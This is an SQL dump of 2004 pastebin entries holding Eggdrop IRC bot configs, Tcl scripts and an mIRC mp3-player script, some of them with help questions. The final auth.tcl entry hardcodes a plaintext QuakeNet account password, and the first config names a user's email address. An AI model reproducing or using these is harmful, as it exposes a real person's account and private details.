INSERT INTO `pastebin` VALUES (2195, 'kurupt', '2004-08-25 19:36:41', '#! /path/to/executable/eggdrop\r\n# ^- This should contain a fully qualified path to your Eggdrop executable.\r\n#\r\n# $Id: eggdrop.conf,v 1.26 2003/04/17 04:38:33 wcc Exp $\r\n#\r\n\r\n\r\n##### SETARI DE BAZA #####\r\n\r\n# Identul pe care o sa il aiba botul\r\nset username "sinzi"\r\n\r\n# Seteaza informatile care vor fii afisate despre admin\r\n#set admin "kurupt" <email: dpgc@purehype.net>"\r\n\r\n# Network \r\nset network "IRCHaven"\r\n\r\n# Fus orar (Europa Centrala)\r\nset timezone "CET"\r\n\r\n# Fus orar (Romania GMT+2)\r\nset offset "+2"\r\n\r\n# Modifica urmatoarele linii!!\r\n#set my-hostname "london.uk.eu.undernet.uk.to"\r\n#set my-ip "64.251.5.37"\r\n\r\n##### LOGURI #####\r\n\r\n# Numarul maxim de loguri\r\nset max-logs 5\r\n\r\n# Marimea maxima a logurilor\r\nset max-logsize 0\r\n\r\n# Nu modificati urmatoarele 2 linii !\r\nset quick-logs 0\r\nset raw-log 0\r\n\r\n# Numele fisierului *.log pentru erori, comenzi, private ale EggDropului\r\nlogfile mco * "logs/draco.log"\r\n\r\n# Numele fisierului *.log pentru canalul specificat\r\nlogfile jpk #eggdrop "logs/eggdrop.log"\r\n\r\n# Nu modificat urmatoarele 5 linii !\r\nset log-time 1\r\nset keep-all-logs 0\r\nset logfile-suffix ".\\%d\\%b\\%Y"\r\nset switch-logfiles-at 300\r\nset quiet-save 0\r\n\r\n\r\n##### CONSOLA #####\r\n\r\n# Nu modificati urmatoare linie !\r\nset console "mkcobxs"\r\n\r\n\r\n##### FISIERE SI DIRECTOARE #####\r\n\r\n# Numele fisierului cu userii Eggdropului\r\nset userfile "Draco.user"\r\n\r\n# Numele fisierului unde va fi scris pid-ul EggDrop-ului\r\nset pidfile "pid.Draco"\r\n\r\n# Sorteaza userii dupa nume\r\nset sort-users 0\r\n\r\n# Calea catre fisierele HELP implicit help/ \r\nset help-path "help/"\r\n\r\n# Calea catre fisierele TEXT implicit text/\r\nset text-path "text/"\r\n\r\n# Directorul temporar\r\nset temp-path "tmp/"\r\n\r\n# Mesajul zilei\r\nset motd "text/motd"\r\n\r\n# Banerul ce va fii afisat cand ne conectam prin telnet\r\nset telnet-banner "text/banner"\r\n\r\n# Nu modificati urmatoarea linie !\r\nset userfile-perm 0600\r\n\r\n\r\n##### BOTNET/DCC/TELNET #####\r\n\r\n# Portul prin care EggDropul se va conecta cu alti boti sau poate fi accesat prin telnet\r\nlisten 11687 all\r\n\r\n#   0 - inchide accesul altor boti la el\r\n#   1 - deschide accesul botilor linkati cu el\r\n#   2 - permite accesul tuturor botilor\r\nset remote-boots 2\r\n\r\n# Nu modificati urmatoarele 13 linii !\r\nset share-unlinks 1\r\nset protect-telnet 0\r\nset dcc-sanitycheck 0\r\nset ident-timeout 5\r\nset require-p 0\r\nset open-telnets 0\r\nset stealth-telnets 0\r\nset use-telnet-banner 0\r\nset connect-timeout 15\r\nset dcc-flood-thr 3\r\nset telnet-flood 5:60\r\nset paranoid-telnet-flood 1\r\nset resolve-timeout 15\r\n\r\n\r\n##### OPTIUNI AVANSATE #####\r\n\r\n# Cat timp da EggDropul ignore unui user care il floodeaza cu text/comenzi \r\nset ignore-time 15\r\n\r\n# Seteaza ownerii\r\nset owner "kurupt"\r\n\r\n# Nu modificat urmatoarele 12 linii !\r\nset notify-newusers "$owner"\r\nset default-flags "hp"\r\nset whois-fields "url birthday"\r\nset die-on-sighup 0\r\nset die-on-sigterm 1\r\nunbind dcc n tcl *dcc:tcl\r\nunbind dcc n set *dcc:set\r\nset must-be-owner 1\r\nunbind dcc n simul *dcc:simul\r\nset max-dcc 50\r\nset allow-dk-cmds 1\r\nset dupwait-timeout 5\r\n\r\n\r\n##### MODULE #####\r\n\r\n# Calea catre directorul cu module\r\nset mod-path "modules/"\r\n\r\n\r\n#### DNS MODULE ####\r\n\r\n# Activeaza modulele pentru DNS\r\nloadmodule dns\r\n\r\n\r\n#### MODULE DE CANAL ####\r\n\r\n# Se foloseste pentru a putea face botul sa intre si pe alta canale decat cel implicit\r\nloadmodule channels\r\n\r\n# Numele fisierului pentru logurile canalelor dinamice\r\nset chanfile "Draco.chan"\r\n\r\n# Nu modificat urmatoarele 32 de linii !\r\nset force-expire 1\r\nset share-greet 1\r\nset use-info 0\r\nset global-flood-chan 1:0\r\nset global-flood-deop 3:6\r\nset global-flood-kick 1:0\r\nset global-flood-join 1:0\r\nset global-flood-ctcp 1:0\r\nset global-flood-nick 1:0\r\nset global-aop-delay 1:0\r\nset global-idle-kick 0\r\nset global-chanmode "nt"\r\nset global-stopnethack-mode 0\r\nset global-revenge-mode 0\r\nset global-ban-time 0\r\nset global-exempt-time 60\r\nset global-invite-time 60\r\nset global-chanset {\r\n        -autoop         -autovoice\r\n        -bitch          +cycle\r\n        +dontkickops    -dynamicbans\r\n        +dynamicexempts +dynamicinvites\r\n        +enforcebans    -greet\r\n        -inactive       -nodesynch\r\n        -protectfriends +protectops\r\n        -revenge        -revengebot\r\n        -secret         -seen\r\n        +shared         -statuslog\r\n        +userbans       +userexempts\r\n        +userinvites    -protecthalfops\r\n        -autohalfop\r\n}\r\n\r\n    channel add #eggdrop {\r\n      chanmode "+nt"\r\n      idle-kick 0\r\n      stopnethack-mode 0\r\n      revenge-mode 0\r\n      ban-time 120\r\n      exempt-time 60\r\n      invite-time 60\r\n      aop-delay 5:30\r\n      flood-chan 10:60\r\n      flood-deop 3:10\r\n      flood-kick 3:10\r\n      flood-join 5:60\r\n      flood-ctcp 3:60\r\n      flood-nick 5:60\r\n    }\r\n\r\n   channel set #eggdrop -enforcebans +dynamicbans +userbans +dynamicexempts\r\n   channel set #eggdrop +userexempts +dynamicinvites +userinvites +protectops\r\n   channel set #eggdrop -protectfriends +statuslog -revenge -protecthalfops\r\n   channel set #eggdrop -revengebot +dontkickops -autovoice -autoop -autohalfop\r\n   channel set #eggdrop -bitch -secret +shared -greet +cycle\r\n\r\n\r\n    channel add #lethe {\r\n      chanmode "+nt"\r\n      idle-kick 0\r\n      stopnethack-mode 0\r\n      revenge-mode 0\r\n      ban-time 120\r\n      exempt-time 60\r\n      invite-time 60\r\n      aop-delay 5:30\r\n      flood-chan 10:60\r\n      flood-deop 3:10\r\n      flood-kick 3:10\r\n      flood-join 5:60\r\n      flood-ctcp 3:60\r\n      flood-nick 5:60\r\n    }\r\n\r\n   channel set #lethe -enforcebans +dynamicbans +userbans +dynamicexempts\r\n   channel set #lethe +userexempts +dynamicinvites +userinvites +protectops\r\n   channel set #lethe -protectfriends +statuslog -revenge -protecthalfops\r\n   channel set #lethe -revengebot +dontkickops -autovoice -autoop -autohalfop\r\n   channel set #lethe -bitch -secret +shared -greet +cycle\r\n   \r\n#### SERVER MODULE ####\r\n\r\n# Nu modificat urmatoarea linie !\r\nloadmodule server\r\n\r\n# Reteaua unde va fi conectat EggDropul\r\n#   0 = EFnet (non +e/+I Hybrid)\r\n#   1 = IRCnet\r\n#   2 = Undernet\r\n#   3 = DALnet\r\n#   4 = +e/+I Hybrid\r\n#   5 = Others\r\nset net-type 5\r\n\r\n# Nick-ul EggDrop-ului\r\nset nick "Draco"\r\n\r\n# Nick-ul alternativ al EggDropului\r\nset altnick "Dra???"\r\n\r\n# Real Name\r\nset realname "2The Dragon"\r\n\r\n# Nickul folosit in botnet de bot\r\nset botnet-nick "Draco"\r\n\r\n# Nu modificati urmatoarele 5 linii !\r\nbind evnt - init-server evnt:init_server\r\nproc evnt:init_server {type} {\r\n  global botnick\r\n  putquick "MODE $botnick +i-ws"\r\n}\r\n\r\n# Portul default pe care se va conecta EggDropul\r\nset default-port 6667\r\n\r\n# Serverele pe care va incerca sa se conecteze! Default is "server:port"\r\nset servers {\r\n  127.0.0.2:6667\r\n\r\n}\r\n\r\n# Nu modificatu urmatoarele 20 de randuri !\r\nset keep-nick 1\r\nset strict-host 0\r\nset quiet-reject 1\r\nset lowercase-ctcp 0\r\nset answer-ctcp 3\r\nset flood-msg 5:60\r\nset flood-ctcp 3:60\r\nset never-give-up 1\r\nset server-cycle-wait 60\r\nset server-timeout 60\r\nset servlimit 0\r\nset check-stoned 1\r\nset serverror-quit 1\r\nset max-queue-msg 300\r\nset trigger-on-ignore 0\r\nset double-mode 0\r\nset double-server 0\r\nset double-help 0\r\nset optimize-kicks 0\r\nset stack-limit 4\r\n\r\n\r\n#### CTCP MODULE ####\r\n\r\n# Activeaza urmatorul modul\r\nloadmodule ctcp\r\n\r\n# Nu modificati urmatoare linie !\r\nset ctcp-mode 0\r\n\r\n# Raspunsul la VERSION\r\nset ctcp-version "Starbots"\r\n\r\n#### IRC MODULE ####\r\n\r\n# Nu modificati urmatoarele 16 randuri !\r\nloadmodule irc\r\nset bounce-bans 1\r\nset bounce-modes 0\r\nset max-bans 30\r\nset max-modes 30\r\nset kick-fun 0\r\nset ban-fun 0\r\nset learn-users 0\r\nset wait-split 600\r\nset wait-info 180\r\nset mode-buf-length 200\r\nunbind msg - hello *msg:hello\r\nbind msg - hello *msg:hello\r\nunbind msg - ident *msg:ident\r\nunbind msg - addhost *msg:addhost\r\nset no-chanrec-info 0\r\n\r\n\r\n#### TRANSFER MODULE ####\r\n\r\n# Nu modificati urmatoarele 5 randuri\r\nloadmodule transfer\r\nloadmodule share\r\nset max-dloads 3\r\nset dcc-block 0\r\nset copy-to-tmp 1\r\nset xfer-timeout 30\r\n\r\n\r\n#### CONSOLE MODULE ####\r\n\r\n# Nu modificati urmatoarele 4 randuri\r\nloadmodule console\r\nset console-autosave 1\r\nset force-channel 0\r\nset info-party 0\r\n\r\n\r\n#### BLOWFISH MODULE ####\r\n\r\n# Cripteaza fisierele cu useri\r\nloadmodule blowfish\r\n\r\n\r\n#### UPTIME MODULE ####\r\n\r\n# Activeaza modulul pentru uptime\r\nloadmodule uptime\r\n\r\n##### SCRIPTURI #####\r\n\r\n# Nu modificati urmatoarele 5 randuri !\r\nsource scripts/alltools.tcl\r\nsource scripts/action.fix.tcl\r\nsource scripts/compat.tcl\r\nsource scripts/userinfo.tcl\r\nloadhelp userinfo.help\r\n', 0, 'none', 'conf', 'none');
INSERT INTO `pastebin` VALUES (2196, 'gozzer', '2004-08-26 16:47:04', 'set scripts {\r\n  "scripts/alltools.tcl"\r\n  "scripts/action.fix.tcl"\r\n  "scripts/compat.tcl"\r\n}\r\n\r\nforeach script $scripts {\r\n  if {[catch {source $script} error]} {\r\n    putlog "Error occoured when loading $script: $error"\r\n  }\r\n}', 0, 'tcl', 'starting scripts from a catch', 'none');
INSERT INTO `pastebin` VALUES (2197, 'Anonymous', '2004-08-27 13:53:01', '#\r\n# dZSbot.tcl\r\n#\r\n\r\n#################################################################################\r\n# MAIN LOOP - PARSES DATA FROM GLFTPD.LOG                                       #\r\n#################################################################################\r\nproc readlog {} {\r\n    global location lastoct disable defaultsection variables msgtypes chanlist dZStimer\r\n\r\n    set dZStimer [utimer 1 "readlog"]\r\n\r\n    set glftpdlogsize [file size $location(GLLOG)]\r\n\r\n    if {$glftpdlogsize == $lastoct} { return 0 }\r\n    if {$glftpdlogsize  < $lastoct} { set lastoct 0 }\r\n    if {[catch {set of [open $location(GLLOG) r]} ]} { return 0 }\r\n\r\n    seek $of $lastoct\r\n    while {![eof $of]} {\r\n        set line [gets $of]\r\n        if {$line == ""} {continue}\r\n        set msgtype [string trim [lindex $line 5] ":"]\r\n        set path [lindex $line 6]\r\n\r\n        if {![string compare $msgtype "INVITE"]} {\r\n            set nick [lindex $line 6]\r\n            foreach channel $chanlist(INVITE) { puthelp "INVITE $nick $channel" }\r\n        }\r\n\r\n        set section [getsection $path $msgtype]\r\n        if {[denycheck "$path"] == 0} {\r\n            if {[string compare "$section" "$defaultsection"]} {\r\n                if {$disable($msgtype) == 0 || $disable(DEFAULT) == 0} {\r\n                    if {[info exists variables($msgtype)]} {\r\n                        set echoline [parse $msgtype [lrange $line 6 end] $section]\r\n                        sndall $section $echoline\r\n                        postcmd $msgtype $section $path\r\n                    } else {\r\n                        set echoline [parse DEFAULT [lrange $line 6 end] $section]\r\n                        sndall $section $echoline\r\n                        postcmd $msgtype $section $path\r\n                    }\r\n                }\r\n            } else {\r\n                if {[lsearch -glob $msgtypes(DEFAULT) $msgtype] != -1} {\r\n                    if {$disable($msgtype) == 0} {\r\n                        set echoline [parse $msgtype [lrange $line 6 end] "DEFAULT"]\r\n                        sndall "DEFAULT" $echoline\r\n                        postcmd $msgtype "DEFAULT" $path\r\n                    }\r\n                } else {\r\n                    if {$disable(DEFAULT) == 0} {\r\n                        set echoline [parse $msgtype [lrange $line 6 end] "DEFAULT"]\r\n                        sndall "DEFAULT" $echoline\r\n                        postcmd $msgtype "DEFAULT" $path\r\n                    }\r\n                }\r\n            }\r\n        }\r\n    }\r\n\r\n    close $of\r\n    set lastoct [file size $location(GLLOG)]\r\n    launchnuke\r\n    return 0\r\n}\r\n#################################################################################\r\n\r\n#################################################################################\r\n# POST COMMAND                                                                  #\r\n#################################################################################\r\nproc postcmd {msgtype section path} {\r\n    global postcommand\r\n\r\n    if {[info exists postcommand($msgtype)]} {\r\n        foreach cmd $postcommand($msgtype) {\r\n            if {[catch {$cmd $msgtype $section $path} result] != 0} {\r\n                putlog "dZSbot error: $cmd caused an error - $result"\r\n            }\r\n        }\r\n    }\r\n}\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n#\r\n# dZSbconf.tcl\r\n#\r\n\r\n## RUNNING POST COMMANDS\r\n#\r\n# Example:\r\n#  set postcommand(NEWDIR)       "imdb:check some:other:cmd"\r\n#   TYPE -------------^\r\n#             COMMANDS -------------^\r\n#\r\n# Notes:\r\n#  Any process you list here must be waiting to accept 3 parameter\r\n#\r\n#  1st - message type, eg: NEWDIR\r\n#  2nd - section name, eg: 0DAY\r\n#  3rd - path to release, eg: /site/incoming/0day\r\n\r\nset postcommand(NEWDIR)        "misc:gfaq:search"\r\nset postcommand(DELDIR)        ""\r\nset postcommand(NUKE)          ""\r\nset postcommand(UNNUKE)        ""\r\nset postcommand(DEFAULT)       ""\r\nset postcommand(COMPLETE)      "misc:rominfo"\r\n', 0, 'tcl', 'none', 'none');
INSERT INTO `pastebin` VALUES (2198, 'Pavix', '2004-08-28 14:32:42', ';;\r\ndll amp_in.dll Stop .\r\ndll amp_in.dll Play [ \\%mp3.song ]\r\nif ($dll(amp_in.dll,Play,.) != ERROR WAE1 Music is currently playing) { /dll amp_in.dll Play [ \\%mp3.song ] }\r\n;;\r\non 1:start:{ \r\n  dll amp_in.dll PluginManager load output out_wave.dll\r\n  dll amp_in.dll PluginManager load input in_mp3.dll\r\n}\r\n\r\n\r\n\r\nmenu channel,menubar {\r\n  -\r\n  StormCrow Stereo\r\n  .open:dialog -md audio audio\r\n  .Setup:mp3\r\n  -\r\n}\r\ndialog audio {\r\n  title "StormCrow Stereo"\r\n  size -1 -1 200 130\r\n  option dbu\r\n  box "" 4, 3 25 135 71\r\n  box "Song" 35, 140 19 58 30\r\n  button "Play", 1, 145 28 20 10\r\n  button "Stop", 31, 171 28 20 10\r\n  box "Continuous" 32, 140 45 58 30\r\n  box "Options" 41, 140 71 58 30\r\n  button "On", 33, 145 55 20 10\r\n  button "Off", 34, 171 55 20 10\r\n  list 6, 5 30 131 74,extsel,sort\r\n  edit "Total",17, 100 16 35 10,read,result autohs group\r\n  button "Close",38, 171 82 20 10, ok\r\n  button "Random",40, 145 82 23 10\r\n  edit "", 23, 5 17 30 9,read\r\n  edit "", 24, 55 17 30 9,read\r\n  edit "", 27, 3 5 120 9,read\r\n  edit "choose your song", 19, 1 110 70 10,read\r\n  edit "", 36, 88 110 30 10,read\r\n  text "Megs" 25, 36 18 15 7\r\n  text "Min" 26, 85 18 15 7\r\n  text "Title" 28, 126 6 15 10\r\n  text "cont:" 37, 75 111 12 10\r\n  Check "Public",22, 131 110 22 10, left\r\n  Check "Simple",50, 161 110 23 10, left\r\n}\r\non *:dialog:audio:init:0:{ \r\n  did -ra audio 36 \\%pm.cont\r\n  if (\\%mp3quiet == On) { did -c audio 22 }\r\n  if (\\%mp3Simple == On) { did -c audio 50 }\r\n  listfiles \r\n}\r\n\r\n\r\non *:dialog:audio:sclick:*:{\r\n  if ($did == 1) {  \r\n    set \\%mp3.song $did(6).sel\r\n    set \\%mp3.song $did(6,\\%mp3.song).text\r\n    set \\%SongName $pos(\\%mp3.song,-,1)\r\n    set \\%mp3.Title \\%mp3.song\r\n    set \\%mp3.song \\%pmp3.dir $+ \\%mp3.song $+ .mp3 \r\n    dll amp_in.dll Stop .\r\n    dll amp_in.dll Play [ \\%mp3.song ]\r\n    if ($dll(amp_in.dll,Play,.) != ERROR WAE1 Music is currently playing) { /dll amp_in.dll Play [ \\%mp3.song ] } \r\n  mp3say  }\r\n  if ($did == 14) { listfiles  }\r\n  if ($did == 22) { switchpub  }\r\n  if ($did == 50) { switchsimp  }\r\n  if ($did == 31) { .timer65 off | dll amp_in.dll Stop . }\r\n  if ($did == 40) { \r\n    set \\%mp3.song $findfile(\\%pmp3.dir,*.mp3,0)\r\n    set \\%mp3.song $findfile(\\%pmp3.dir,*.mp3,$r(1,\\%mp3.song))\r\n    dll amp_in.dll Stop .\r\n    dll amp_in.dll Play [ \\%mp3.song ]\r\n    if ($dll(amp_in.dll,Play,.) != ERROR WAE1 Music is currently playing) { /dll amp_in.dll Play [ \\%mp3.song ] } \r\n    if (\\%pm.cont == On) {  timer65 1 $rawtime(\\%mp3.song)  /rmp3 }\r\n    mp3say\r\n  }\r\n  if ($did == 33) { set \\%pm.cont On | did -ra audio 36 \\%pm.cont }\r\n  if ($did == 34) { set \\%pm.cont Off | did -ra audio 36 \\%pm.cont }\r\n  if ($did == 6) {\r\n    set \\%mp3.song $did(6).sel\r\n    set \\%mp3.song $did(6,\\%mp3.song).text\r\n    set \\%SongName $pos(\\%mp3.song,-,1)\r\n    set \\%mp3.Title \\%mp3.song\r\n    set \\%mp3.song \\%pmp3.dir $+ \\%mp3.song $+ .mp3 \r\n    set \\%SongName $remove($pos(\\%mp3.song,-,1),\\%pmp3.dir,.mp3)\r\n    set \\%mp3.Title $remove(\\%mp3.song,\\%pmp3.dir,.mp3)\r\n    did -ra audio 23 $round($mb(\\%mp3.song),1) $+ mb\r\n    did -ra audio 24 $clockduration($round($calc($lof(\\%mp3.song) / 16010),0)) \r\n    did -ra audio 27 \\%mp3.Title\r\n  }\r\n}\r\n\r\nalias listfiles { \r\n  did -r audio 6\r\n  set \\%list1.which 0\r\n  set \\%list1.total $findfile(\\%mp3,*mp3,0)\r\n  :loop\r\n  inc \\%list1.which 1\r\n  if (\\%list1.which > \\%list1.total) { goto end }\r\n  else { did -a audio 6 $remove($nopath($findfile(\\%mp3,*.mp3,\\%list1.which)),.mp3) | did -r audio 17 | did -a audio 17 Total: $+ \\%list1.total | goto loop }\r\n  did -a audio 17 Total $+ \\%list1.total\r\n  :end\r\n}\r\n\r\nalias mb { .return $round($calc($file( $1- ).size / 1049576),2) }\r\n\r\nalias bd {\r\n  unset \\%bd.*\r\n  set \\%bd.num 9\r\n  :loop\r\n  dec \\%bd.num 1\r\n  if (1 > \\%bd.num) { goto fin }\r\n  else { set \\%bd.conv \\%bd.conv $+ $isbit($1,\\%bd.num) | goto loop }\r\n  :fin\r\n  return \\%bd.conv\r\n}\r\nalias mp3 {\r\n  set \\%pMP3.dir $sdir="Select mp3 directory:" $mircdir\r\n  set \\%mp3 \\%pMP3.dir\r\n  echo 14[15Mp3 directory14][15 $+ \\%pmp3.dir $+ 14]\r\n  set \\%mp3check ! $+ $me $+ *\r\n}\r\n\r\nmp3.size return $calc($file(\\%mp3.song).size / 1000000))\r\nalias Size { \r\n  if (($1 == $null) || ($1 !isnum)) { return N/A } \r\n  if ($round($calc($1 / 1000000000000),2) >= 1) { return $round($calc($1 / 1099511627776),2) $+ Tb }\r\n  if ($round($calc($1 / 1000000000),2) >= 1) { return $round($calc($1 / 1073741824),2) $+ Gb }\r\n  if ($round($calc($1 / 1000000),1) >= 1) { return $round($calc($1 / 1048576),1) $+ Mb }\r\n  if ($round($calc($1 / 1000),1) >= 1) { return $round($calc($1 / 1024),1) $+ Kb }\r\n  return $1 $+ b \r\n}\r\nalias clockduration { if ($1 isnum) { if ($int($calc($1 / 60)) == 0) { return 00: $+ $iif($calc($1 \\% 60) isnum 0-9,0) $+ $calc($1 \\% 60) } | if ($calc($1 \\% 60) == 0) { return $iif($int($calc($1 / 60)) isnum 0-9,0) $+ $int($calc($1 / 60)) $+ :00 } | return $iif($int($calc($1 / 60)) isnum 0-9,0) $+ $int($calc($1 / 60)) $+ : $+ $iif($calc($1 \\% 60) isnum 0-9,0) $+ $calc($1 \\% 60) } | else { return n/a } }\r\nalias rawtime { return $calc($lof($1-)/16000) }\r\nalias pmtime { return $duration($calc($lof($1-)/16000)) }\r\nalias mtime { return $duration($calc(($lof($1) * .008) / 56)) }\r\nalias rmp3 { \r\n  set \\%mp3.song $findfile(\\%pmp3.dir,*.mp3,0)\r\n  set \\%mp3.song $findfile(\\%pmp3.dir,*.mp3,$r(1,\\%mp3.song))\r\n  dll amp_in.dll Stop .\r\n  dll amp_in.dll Play [ \\%mp3.song ]\r\n  if ($dll(amp_in.dll,Play,.) != ERROR WAE1 Music is currently playing) { /dll amp_in.dll Play [ \\%mp3.song ] }\r\n  randsay\r\n  if (\\%pm.cont == on) { \r\n    .timer65 1 $rawtime(\\%mp3.song) /rmp3\r\n  }  \r\n}\r\nalias clockduration { if ($1 isnum) { if ($int($calc($1 / 60)) == 0) { return 00: $+ $iif($calc($1 \\% 60) isnum 0-9,0) $+ $calc($1 \\% 60) } | if ($calc($1 \\% 60) == 0) { return $iif($int($calc($1 / 60)) isnum 0-9,0) $+ $int($calc($1 / 60)) $+ :00 } | return $iif($int($calc($1 / 60)) isnum 0-9,0) $+ $int($calc($1 / 60)) $+ : $+ $iif($calc($1 \\% 60) isnum 0-9,0) $+ $calc($1 \\% 60) } | else { return n/a } }\r\nalias rawtime { return $calc($lof($1-)/16000) }\r\nalias pmtime { return $duration($calc($lof($1-)/16000)) }\r\nalias mtime { return $duration($calc(($lof($1) * .008) / 56)) }\r\n', 0, 'none', 'mIRC player', 'none');
INSERT INTO `pastebin` VALUES (2199, 'p0wl', '2004-08-29 17:19:24', 'bind pub n|n .vip pub_vip\r\nbind pub join - check_vip\r\nbind raw 319  - whois_vip\r\n\r\nproc whois_vip { from keyword text } {\r\nset whois.chans [llength [split $text]]\r\nwhile {$whois.chans > 0} {\r\n  set whois.current [lindex [split $text] $whois.chans]\r\n  if {channel get $whois.current} {\r\n    set whois.mode channel get $whois.current\r\n    pushmode $whois.channel $whois.mode $whois.nick\r\n  }\r\n  incr $whois.chans -1\r\n}\r\n}\r\n\r\nproc pub_vip { nick host hand chan text } {\r\nif {[lindex [split $text] 1] == "add"} {\r\n  if {[lindex [split $text] 3] == "+v" || [lindex [split $text] 3] == "+o"} {\r\n    channel set @[lindex [split $text] 2] [lindex [split $text] 3]\r\n    setudef str @[lindex [split $text] 2]\r\n    putserv "PRIVMSG $chan :Added [lindex [split $text] 2] as Vip Channel. Ops in [lindex [split $text] 2] will get [lindex [split $text] 3] in $chan"\r\n  }\r\n}\r\n\r\nproc check_vip { nick host hand chan text } {\r\nset whois.nick $nick\r\nset whois.chan $chan\r\nputserv "WHOIS $nick"\r\n}\r\n', 0, 'tcl', 'Vip script', '#TCL');
INSERT INTO `pastebin` VALUES (2200, 'rvh', '2004-08-29 18:08:48', 'The problem that i get is this when trying to add a bot. \r\n[01:08] Tcl error [addbitch]: can''t read "src(name)": no such variable\r\n\r\nHERE IS THE TCL CODE!\r\n\r\n# Your home chan here:\r\nset scr(home) "#stat-bots"\r\n\r\n# The bots realname:\r\nset scr(name) "Owned by Psycho--"\r\n\r\n# The Bot Owners nick name:\r\nset scr(own) "Psycho--"\r\n\r\n\r\n\r\n# -\r\n\r\nbind dcc -|- addbitch addbitch\r\n# .addbitch botnick ip port\r\n\r\n\r\n\r\nproc addbitch {handle idx text} {\r\nglobal scr botnick\r\nset bot_nick "[lindex $text 0]"\r\nset bot_ip "[lindex $text 1]"\r\nset bot_port "[lindex $text 2]"\r\nregsub -all -nocase {\\|} "$bot_nick" "" bot_username\r\nregsub -all -nocase {\\^} "$bot_username" "" bot_username\r\nif {[file exist "$bot_username.conf"]} {\r\nputdcc $idx "Bot allready exists, chose anoter botnick"\r\nreturn 0\r\n}\r\nset bot_file "[open $bot_username.conf a]"\r\nputs $bot_file "set \\"mod-path\\" modules/"\r\nputs $bot_file "set \\"help-path\\" help/"\r\nputs $bot_file "set \\"text-path\\" text/"\r\nputs $bot_file "loadmodule dns"\r\nputs $bot_file "loadmodule channels"\r\nputs $bot_file "loadmodule server"\r\nputs $bot_file "loadmodule ctcp"\r\nputs $bot_file "loadmodule irc"\r\nputs $bot_file "loadmodule notes"\r\nputs $bot_file "loadmodule console"\r\nputs $bot_file "loadmodule blowfish"\r\nputs $bot_file "loadmodule share"\r\nputs $bot_file "loadmodule transfer"\r\nputs $bot_file ""\r\nputs $bot_file "set nick \\"$bot_nick\\""\r\nputs $bot_file "set username \\"$bot_username\\""\r\nputs $bot_file "set altnick \\"^$bot_nick^\\""\r\nputs $bot_file "set realname \\"$src(name)\\""\r\nputs $bot_file "set userfile \\"$bot_username.user\\""\r\nputs $bot_file "set chanfile \\"$bot_username.chan\\""\r\nputs $bot_file "set my-ip \\"$bot_ip\\""\r\nputs $bot_file "listen $bot_port all"\r\nputs $bot_file ""\r\nputs $bot_file "set servers {"\r\nputs $bot_file "dk.quakenet.eu.org:6667"\r\nputs $bot_file "irc.quakenet.eu.org:6667"\r\nputs $bot_file "}"\r\nputs $bot_file ""\r\nputs $bot_file "channel add $scr(home) {"\r\nputs $bot_file "chanmode +nt-likm"\r\nputs $bot_file "idle-kick 0"\r\nputs $bot_file "stopnethack-mode 0"\r\nputs $bot_file "}"\r\nputs $bot_file ""\r\nputs $bot_file "set net-type \\"5\\""\r\nputs $bot_file ""\r\nputs $bot_file "set owner \\"$scr(own)\\""\r\nputs $bot_file ""\r\nputs $bot_file "set \\"temp-path\\" /tmp"\r\nputs $bot_file ""\r\nputs $bot_file "logfile msbxco * logs/eggdrop.log"\r\nputs $bot_file ""\r\nputs $bot_file "logfile jpk $scr(home) logs/home.log"\r\nputs $bot_file ""\r\nputs $bot_file "set console mkcobxs"\r\nputs $bot_file ""\r\nputs $bot_file "loadmodule uptime"\r\nputs $bot_file ""\r\nputs $bot_file "source scripts/userinfo.tcl"\r\nputs $bot_file "source scripts/alltools.tcl"\r\nputs $bot_file "source scripts/action.fix.tcl"\r\nputs $bot_file "source scripts/compat.tcl"\r\nputs $bot_file ""\r\nputs $bot_file ""\r\nputs $bot_file "loadhelp userinfo.help"\r\nputs $bot_file ""\r\nclose $bot_file\r\nputhelp "privmsg $scr(home) :Created and starting bot \\002$bot_nick\\002 \\002 Port:\\002 $bot_port"\r\nexec ./eggdrop -m $bot_username.conf\r\n}\r\n', 0, 'tcl', 'Problem whit tcl script!', '#EggTCL');
INSERT INTO `pastebin` VALUES (2201, 'gozzer', '2004-08-30 08:04:20', '[15:00:15] (gozzer): .tcl set testin [utimer 30 {putlog "hepp!"}]\r\n[15:00:15] (dr00piE): Tcl: timer68006\r\n[15:00:22] (gozzer): .tcl killutimer $testin\r\n[15:00:22] (dr00piE): Tcl:\r\n[15:00:24] (gozzer): .tcl $testin\r\n[15:00:24] (dr00piE): Tcl error: invalid command name "timer68006"', 0, 'none', 'variable is not unset after kill', '#TCL');
INSERT INTO `pastebin` VALUES (2202, 'Kurupt', '2004-08-30 10:47:18', '#\r\n# auth.tcl   \r\n# Published by kurupt\r\n# Version 1.0\r\n#\r\n# Install:\r\n#  source scripts/auth.tcl   \r\n\r\n\r\nset Qauth "sinziana" ; # Q username\r\nset Qpass "dpgclamaie" ; # Q password\r\nset Qhost "TheQBot@CServe.quakenet.org" ; # Q ident@hostmark\r\n\r\nbind raw - 311 raw:qauth\r\n\r\nproc raw:qauth {from keyword args} {\r\n global Qauth Qpass Qhost\r\n set args [string tolower [join $args]]\r\n set nick [lindex $args 1]\r\n set host "[lindex $args 2]@[lindex $args 3]"\r\n if {$host == [string tolower $Qhost]} {\r\n  puthelp "PRIVMSG Q@CServe.quakenet.org :AUTH $Qauth $Qpass"\r\n  putserv "MODE $::botnick +x"\r\n }\r\n}\r\n\r\nbind join - * hnd:join\r\n\r\nproc hnd:join {nick uhost hand chan} {\r\n global botnick\r\n set host [string trimleft [string tolower [getchanhost $nick $chan]] ~]\r\n if {$host == [string trimleft [string tolower [getchanhost $botnick $chan]] ~] || $nick == "Q"} {\r\n  putserv "WHOIS Q"\r\n }\r\n}\r\n\r\nputlog "auth v1.0 by kurupt loaded"\r\n', 0, 'tcl', 'auth Q', 'none');
